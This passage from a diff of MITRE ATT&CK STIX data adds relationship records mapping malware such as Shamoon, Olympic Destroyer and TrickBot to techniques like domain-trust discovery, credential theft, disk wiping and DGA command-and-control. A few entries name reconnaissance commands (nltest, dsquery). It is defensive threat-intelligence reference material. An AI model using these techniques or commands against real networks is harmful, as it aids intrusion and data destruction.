"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-oceansalt.pdf" + } + ], + "modified": "2019-02-12T21:14:11.275Z", + "source_ref": "malware--288fa242-e894-4c7e-ac86-856deedf5cea", + "relationship_type": "uses", + "target_ref": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Seasalt](https://attack.mitre.org/software/S0345) has masqueraded as a service called \"SaSaut\" with a display name of \"System Authorization Service\" in an apparent attempt to masquerade as a legitimate service.", + "type": "relationship", + "created": "2019-02-12T21:28:19.412Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--597555f7-33e3-4699-9acf-9c7f15a850c9", + "external_references": [ + { + "source_name": "Mandiant APT1 Appendix", + "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip" + } + ], + "modified": "2019-02-12T21:28:19.412Z", + "source_ref": "malware--b45747dc-87ca-4597-a245-7e16a61bc491", + "relationship_type": "uses", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Seasalt](https://attack.mitre.org/software/S0345) uses a custom binary protocol for C2.", + "type": "relationship", + "created": "2019-02-12T21:28:19.444Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6e85ec57-8c4d-4a7d-8e34-27966092147f", + "external_references": [ + { + "source_name": "Mandiant APT1 Appendix", + "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip" + } + ], + "modified": "2019-02-12T21:28:19.444Z", + "source_ref": "malware--b45747dc-87ca-4597-a245-7e16a61bc491", + "relationship_type": "uses", + "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Seasalt](https://attack.mitre.org/software/S0345) has the capability to identify the drive type on a victim.", + "type": "relationship", + "created": "2019-02-12T21:28:19.464Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2d76d7b2-ec41-4630-8405-ec7db2c0607c", + "external_references": [ + { + "source_name": "McAfee Oceansalt Oct 2018", + "description": "Sherstobitoff, R., Malhotra, A. (2018, October 18). \u2018Operation Oceansalt\u2019 Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group. Retrieved November 30, 2018.", + "url": "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-oceansalt.pdf" + } + ], + "modified": "2019-02-12T21:28:19.464Z", + "source_ref": "malware--b45747dc-87ca-4597-a245-7e16a61bc491", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Azorult](https://attack.mitre.org/software/S0344) can delete files from victim machines.", + "type": "relationship", + "created": "2019-02-12T21:54:33.158Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0f785fc5-0d07-40bd-8d54-acfb79499824", + "external_references": [ + { + "source_name": "Unit42 Azorult Nov 2018", + "description": "Yan, T., et al. (2018, November 21). New Wine in Old Bottle: New Azorult Variant Found in FindMyName Campaign using Fallout Exploit Kit. Retrieved November 29, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-new-wine-old-bottle-new-azorult-variant-found-findmyname-campaign-using-fallout-exploit-kit/" + } + ], + "modified": "2019-07-26T23:22:28.670Z", + "source_ref": "malware--f9b05f33-d45d-4e4d-aafe-c208d38a0080", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Nltest](https://attack.mitre.org/software/S0359) may be used to enumerate trusted domains by using commands such as nltest /domain_trusts.", + "type": "relationship", + "created": "2019-02-14T17:08:55.311Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7f5933ff-6665-4bee-a291-0152c928747d", + "external_references": [ + { + "source_name": "Nltest Manual", + "description": "ss64. (n.d.). NLTEST.exe - Network Location Test. Retrieved February 14, 2019.", + "url": "https://ss64.com/nt/nltest.html" + }, + { + "source_name": "Fortinet TrickBot", + "description": "Bacurio Jr., F. and Salvio, J. (2018, April 9). Trickbot\u2019s New Reconnaissance Plugin. Retrieved February 14, 2019.", + "url": "https://www.fortinet.com/blog/threat-research/trickbot-s-new-reconnaissance-plugin.html" + } + ], + "modified": "2019-04-22T19:06:17.454Z", + "source_ref": "tool--981acc4c-2ede-4b56-be6e-fa1a75f37acf", + "relationship_type": "uses", + "target_ref": "attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PowerSploit](https://attack.mitre.org/software/S0194) has modules such as Get-NetDomainTrust and Get-NetForestTrust to enumerate domain and forest trusts.", + "type": "relationship", + "created": "2019-02-14T17:40:25.505Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ee2068ec-c520-476e-979f-3dea201d0b9e", + "external_references": [ + { + "source_name": "GitHub PowerSploit May 2012", + "description": "PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.", + "url": "https://github.com/PowerShellMafia/PowerSploit" + }, + { + "source_name": "PowerSploit Documentation", + "description": "PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.", + "url": "http://powersploit.readthedocs.io" + } + ], + "modified": "2019-04-24T23:43:08.306Z", + "source_ref": "tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d", + "relationship_type": "uses", + "target_ref": "attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[TrickBot](https://attack.mitre.org/software/S0266) can gather information about domain trusts by utilizing [Nltest](https://attack.mitre.org/software/S0359).", + "type": "relationship", + "created": "2019-02-14T17:45:24.855Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f4d15148-3a41-4fbc-a42e-59379724acc5", + "external_references": [ + { + "source_name": "Fortinet TrickBot", + "description": "Bacurio Jr., F. and Salvio, J. (2018, April 9). Trickbot\u2019s New Reconnaissance Plugin. Retrieved February 14, 2019.", + "url": "https://www.fortinet.com/blog/threat-research/trickbot-s-new-reconnaissance-plugin.html" + } + ], + "modified": "2019-06-24T19:15:06.908Z", + "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", + "relationship_type": "uses", + "target_ref": "attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[dsquery](https://attack.mitre.org/software/S0105) can be used to gather information on domain trusts with dsquery * -filter \"(objectClass=trustedDomain)\" -attr *.", + "type": "relationship", + "created": "2019-02-14T17:49:30.824Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--da7ddc38-f706-43b4-b3e7-fa3e5d1d2cff", + "external_references": [ + { + "source_name": "Harmj0y Domain Trusts", + "description": "Schroeder, W. (2017, October 30). A Guide to Attacking Domain Trusts. Retrieved February 14, 2019.", + "url": "http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/ " + } + ], + "modified": "2019-04-25T00:08:30.198Z", + "source_ref": "tool--38952eac-cb1b-4a71-bad2-ee8223a1c8fe", + "relationship_type": "uses", + "target_ref": "attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T19:14:04.086Z", + "type": "relationship", + "id": "relationship--aebe8cdb-9aac-4704-998c-028ba0a81a74", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-02-15T13:04:25.256Z", + "source_ref": "course-of-action--159b4ee4-8fa1-44a5-b095-2973f3c7e25e", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T19:13:31.490Z", + "type": "relationship", + "id": "relationship--f412db39-9146-4600-8618-8aa7f54da4e0", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-02-18T17:22:58.006Z", + "source_ref": "course-of-action--3bd2cf87-1ceb-4317-9aee-3e7dc713261b", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--54456690-84de-4538-9101-643e26437e09" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[CCBkdr](https://attack.mitre.org/software/S0222) can use a DGA for [Fallback Channels](https://attack.mitre.org/techniques/T1008) if communications with the primary command and control server are lost.", + "type": "relationship", + "created": "2019-02-18T18:08:05.045Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--cd24838b-45b2-405d-b932-9ac49eca8d4a", + "external_references": [ + { + "source_name": "Talos CCleanup 2017", + "description": "Brumaghin, E. et al. (2017, September 18). CCleanup: A Vast Number of Machines at Risk. Retrieved March 9, 2018.", + "url": "http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html" + } + ], + "modified": "2019-04-24T23:11:34.618Z", + "source_ref": "malware--b0f13390-cec7-4814-b37c-ccec01887faa", + "relationship_type": "uses", + "target_ref": "attack-pattern--54456690-84de-4538-9101-643e26437e09" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[POSHSPY](https://attack.mitre.org/software/S0150) uses a DGA to derive command and control URLs from a word list.", + "type": "relationship", + "created": "2019-02-18T18:17:14.015Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--489a8a76-4264-462f-be66-217e57d3e907", + "external_references": [ + { + "source_name": "FireEye POSHSPY April 2017", + "description": "Dunwoody, M.. (2017, April 3). Dissecting One of APT29\u2019s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html" + } + ], + "modified": "2019-04-24T23:41:40.124Z", + "source_ref": "malware--5e595477-2e78-4ce7-ae42-e0b059b17808", + "relationship_type": "uses", + "target_ref": "attack-pattern--54456690-84de-4538-9101-643e26437e09" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[CHOPSTICK](https://attack.mitre.org/software/S0023) can use a DGA for [Fallback Channels](https://attack.mitre.org/techniques/T1008), domains are generated by concatenating words from lists.", + "type": "relationship", + "created": "2019-02-18T18:26:55.749Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a72ce53b-311d-43f2-b145-784c322306c1", + "external_references": [ + { + "source_name": "ESET Sednit 2017 Activity", + "description": "ESET. (2017, December 21). Sednit update: How Fancy Bear Spent the Year. Retrieved February 18, 2019.", + "url": "https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/" + } + ], + "modified": "2019-05-14T17:10:21.995Z", + "source_ref": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472", + "relationship_type": "uses", + "target_ref": "attack-pattern--54456690-84de-4538-9101-643e26437e09" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BONDUPDATER](https://attack.mitre.org/software/S0360) uses a DGA to communicate with command and control servers.", + "type": "relationship", + "created": "2019-02-18T20:16:12.245Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7bfc7122-2dc2-4fd3-be98-2ab87ba4a530", + "external_references": [ + { + "source_name": "FireEye APT34 Dec 2017", + "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html" + } + ], + "modified": "2019-04-23T19:32:14.748Z", + "source_ref": "malware--d5268dfb-ae2b-4e0e-ac07-02a460613d8a", + "relationship_type": "uses", + "target_ref": "attack-pattern--54456690-84de-4538-9101-643e26437e09" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-17T16:17:30.703Z", + "type": "relationship", + "created": "2019-02-18T20:17:17.641Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--978d8c12-bf39-440f-ac17-b66970451152", + "external_references": [ + { + "source_name": "FireEye APT34 Dec 2017", + "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html" + }, + { + "source_name": "Palo Alto OilRig Sep 2018", + "description": "Wilhoit, K. and Falcone, R. (2018, September 12). OilRig Uses Updated BONDUPDATER to Target Middle Eastern Government. Retrieved February 18, 2019.", + "url": "https://unit42.paloaltonetworks.com/unit42-oilrig-uses-updated-bondupdater-target-middle-eastern-government/" + } + ], + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "relationship_type": "uses", + "target_ref": "malware--d5268dfb-ae2b-4e0e-ac07-02a460613d8a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BONDUPDATER](https://attack.mitre.org/software/S0360) can read batch commands in a file sent from its C2 server and execute them with cmd.exe.", + "type": "relationship", + "created": "2019-02-18T20:33:58.908Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--30f18b5b-a02e-4d15-bfd2-346145453a07", + "external_references": [ + { + "source_name": "Palo Alto OilRig Sep 2018", + "description": "Wilhoit, K. and Falcone, R. (2018, September 12). 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(2018, October 11). Joint report on publicly available hacking tools. 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Retrieved March 18, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/03/apt40-examining-a-china-nexus-espionage-actor.html" + } + ], + "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", + "relationship_type": "uses", + "target_ref": "tool--0c8465c0-d0b4-4670-992e-4eee8d7ff952" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[SDelete](https://attack.mitre.org/software/S0195) deletes data in a way that makes it unrecoverable.", + "type": "relationship", + "created": "2019-03-25T11:40:59.057Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--cfb4c18a-d76e-47fd-a89b-a4b4fce1c643", + "external_references": [ + { + "source_name": "Microsoft SDelete July 2016", + "description": "Russinovich, M. (2016, July 4). SDelete v2.0. Retrieved February 8, 2018.", + "url": "https://docs.microsoft.com/en-us/sysinternals/downloads/sdelete" + } + ], + "modified": "2019-04-24T00:37:08.781Z", + "source_ref": "tool--d8d19e33-94fd-4aa3-b94a-08ee801a2153", + "relationship_type": "uses", + "target_ref": "attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RawDisk](https://attack.mitre.org/software/S0364) was used in [Shamoon](https://attack.mitre.org/software/S0140) to help overwrite components of disk structure like the MBR and disk partitions.", + "type": "relationship", + "created": "2019-03-25T12:30:41.047Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6add4de1-3af8-4994-b65f-ccb13fdd703a", + "external_references": [ + { + "source_name": "Palo Alto Shamoon Nov 2016", + "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/" + }, + { + "source_name": "Unit 42 Shamoon3 2018", + "description": "Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019.", + "url": "https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/" + } + ], + "modified": "2019-04-19T19:04:56.009Z", + "source_ref": "tool--3ffbdc1f-d2bf-41ab-91a2-c7b857e98079", + "relationship_type": "uses", + "target_ref": "attack-pattern--2e114e45-2c50-404c-804a-3af9564d240e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RawDisk](https://attack.mitre.org/software/S0364) was used in [Shamoon](https://attack.mitre.org/software/S0140) to write to protected system locations such as the MBR and disk partitions in an effort to destroy data.", + "type": "relationship", + "created": "2019-03-25T12:30:41.057Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d7d25f15-7451-4092-acb5-1a22095bc3cd", + "external_references": [ + { + "source_name": "Palo Alto Shamoon Nov 2016", + "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/" + }, + { + "source_name": "Unit 42 Shamoon3 2018", + "description": "Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019.", + "url": "https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/" + } + ], + "modified": "2019-04-19T19:04:56.034Z", + "source_ref": "tool--3ffbdc1f-d2bf-41ab-91a2-c7b857e98079", + "relationship_type": "uses", + "target_ref": "attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Shamoon](https://attack.mitre.org/software/S0140) has been seen overwriting features of disk structure such as the MBR.", + "type": "relationship", + "created": "2019-03-25T13:23:40.121Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--10bc4c79-d47f-4d49-bc06-c65ae376a4b6", + "external_references": [ + { + "source_name": "Symantec Shamoon 2012", + "description": "Symantec. (2012, August 16). The Shamoon Attacks. Retrieved March 14, 2019.", + "url": "https://www.symantec.com/connect/blogs/shamoon-attacks" + }, + { + "source_name": "FireEye Shamoon Nov 2016", + "description": "FireEye. (2016, November 30). FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region. Retrieved January 11, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html" + }, + { + "source_name": "Palo Alto Shamoon Nov 2016", + "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/" + }, + { + "source_name": "Unit 42 Shamoon3 2018", + "description": "Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019.", + "url": "https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/" + } + ], + "modified": "2019-04-24T23:59:16.372Z", + "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3", + "relationship_type": "uses", + "target_ref": "attack-pattern--2e114e45-2c50-404c-804a-3af9564d240e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-06-28T15:30:59.098Z", + "type": "relationship", + "created": "2019-03-25T14:30:39.398Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--97068a5a-faff-4212-a841-c06db163452e", + "external_references": [ + { + "source_name": "Symantec MuddyWater Dec 2018", + "description": "Symantec DeepSight Adversary Intelligence Team. (2018, December 10). Seedworm: Group Compromises Government Agencies, Oil & Gas, NGOs, Telecoms, and IT Firms. Retrieved December 14, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group" + } + ], + "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", + "relationship_type": "uses", + "target_ref": "tool--b76b2d94-60e4-4107-a903-4a3a7622fb3b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Olympic Destroyer](https://attack.mitre.org/software/S0365) attempts to copy itself to remote machines on the network.", + "type": "relationship", + "created": "2019-03-25T15:05:23.639Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7e8101ce-f787-45f7-a593-62b664fbe08d", + "external_references": [ + { + "source_name": "Talos Olympic Destroyer 2018", + "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.", + "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html" + } + ], + "modified": "2019-06-30T23:07:53.977Z", + "source_ref": "malware--3249e92a-870b-426d-8790-ba311c1abfb4", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Olympic Destroyer](https://attack.mitre.org/software/S0365) uses [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) to enumerate all systems in the network.", + "type": "relationship", + "created": "2019-03-25T15:05:23.667Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c4a8a9ea-c24a-4ddf-9451-5855da9a4251", + "external_references": [ + { + "source_name": "Talos Olympic Destroyer 2018", + "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.", + "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html" + } + ], + "modified": "2019-06-30T23:07:53.995Z", + "source_ref": "malware--3249e92a-870b-426d-8790-ba311c1abfb4", + "relationship_type": "uses", + "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Olympic Destroyer](https://attack.mitre.org/software/S0365) uses API calls to enumerate the infected system's ARP table.", + "type": "relationship", + "created": "2019-03-25T15:05:23.669Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--039364a9-2afd-4ae5-9df0-08d4e583674f", + "external_references": [ + { + "source_name": "Talos Olympic Destroyer 2018", + "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.", + "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html" + } + ], + "modified": "2019-06-30T23:07:54.016Z", + "source_ref": "malware--3249e92a-870b-426d-8790-ba311c1abfb4", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Olympic Destroyer](https://attack.mitre.org/software/S0365) will attempt to enumerate mapped network shares to later attempt to wipe all files on those shares.", + "type": "relationship", + "created": "2019-03-25T15:05:23.682Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c72b2674-e757-4290-9275-cc08a12713be", + "external_references": [ + { + "source_name": "Talos Olympic Destroyer 2018", + "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.", + "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html" + } + ], + "modified": "2019-06-30T23:07:54.030Z", + "source_ref": "malware--3249e92a-870b-426d-8790-ba311c1abfb4", + "relationship_type": "uses", + "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Olympic Destroyer](https://attack.mitre.org/software/S0365) uses [PsExec](https://attack.mitre.org/software/S0029) to interact with the ADMIN$ network share to execute commands on remote systems.", + "type": "relationship", + "created": "2019-03-25T15:05:23.691Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ddf5cb3a-6cfa-40c8-8992-396329632f14", + "external_references": [ + { + "source_name": "Talos Olympic Destroyer 2018", + "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.", + "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html" + }, + { + "source_name": "PsExec Russinovich", + "description": "Russinovich, M. (2004, June 28). PsExec. Retrieved December 17, 2015.", + "url": "http://windowsitpro.com/systems-management/psexec" + } + ], + "modified": "2019-06-30T23:07:54.047Z", + "source_ref": "malware--3249e92a-870b-426d-8790-ba311c1abfb4", + "relationship_type": "uses", + "target_ref": "attack-pattern--ffe742ed-9100-4686-9e00-c331da544787" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Olympic Destroyer](https://attack.mitre.org/software/S0365) contains a module that tries to obtain stored credentials from web browsers.", + "type": "relationship", + "created": "2019-03-25T15:05:23.693Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--17d2730a-c2b7-4d58-b22f-921600daccfb", + "external_references": [ + { + "source_name": "Talos Olympic Destroyer 2018", + "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.", + "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html" + } + ], + "modified": "2019-06-30T23:07:54.063Z", + "source_ref": "malware--3249e92a-870b-426d-8790-ba311c1abfb4", + "relationship_type": "uses", + "target_ref": "attack-pattern--ba8e391f-14b5-496f-81f2-2d5ecd646c1c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Olympic Destroyer](https://attack.mitre.org/software/S0365) utilizes [PsExec](https://attack.mitre.org/software/S0029) to help propagate itself across a network.", + "type": "relationship", + "created": "2019-03-25T15:05:23.714Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c992481b-fe93-416d-b8a3-c5ed752c17f4", + "external_references": [ + { + "source_name": "Talos Olympic Destroyer 2018", + "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.", + "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html" + } + ], + "modified": "2019-06-30T23:07:54.081Z", + "source_ref": "malware--3249e92a-870b-426d-8790-ba311c1abfb4", + "relationship_type": "uses", + "target_ref": "attack-pattern--f44731de-ea9f-406d-9b83-30ecbb9b4392" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Olympic Destroyer](https://attack.mitre.org/software/S0365) contains a module that tries to obtain credentials from LSASS, similar to [Mimikatz](https://attack.mitre.org/software/S0002). These credentials are used with [PsExec](https://attack.mitre.org/software/S0029) and [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) to help the malware propagate itself across a network.", + "type": "relationship", + "created": "2019-03-25T15:05:23.718Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e998971c-c944-4255-8831-89d49d0e5285", + "external_references": [ + { + "source_name": "Talos Olympic Destroyer 2018", + "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.", + "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html" + } + ], + "modified": "2019-06-30T23:07:54.083Z", + "source_ref": "malware--3249e92a-870b-426d-8790-ba311c1abfb4", + "relationship_type": "uses", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Olympic 